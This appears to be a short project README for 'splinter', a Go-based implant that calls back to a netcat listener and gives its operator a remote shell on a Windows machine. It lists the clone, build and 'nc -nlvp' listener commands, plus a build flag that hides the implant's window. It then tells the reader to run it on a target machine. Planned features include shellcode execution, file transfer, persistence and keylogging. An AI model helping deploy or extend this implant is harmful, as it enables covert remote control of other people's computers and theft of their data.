A implant I am designing to work with netcat.
Before building the implant don't forget to edit the code and insert your TCP listner address.
git clone https://github.com/fistfulofhummus/splinter.git
go build
nc -nlvp port
Use go build -ldflags -H=windowsgui if you want the implant to run in a hidden window. Now just execute the implant on a Windows machine. If you want to terminate execution cleanly, type stop into your netcat terminal.
- Add a menu a la meterpreter
- cd
- ls
- pwd
- Load and execute shellcode
- Upload/Download
- Persistence
- Keylogging
- RickRoll
- Use Go Routines whenever possible
I will not be responsible for any illegal activity conducted with this code. The implant uses raw TCP. OPSEC is a non-concern in this project. IDS/IPS systems should sniff it out.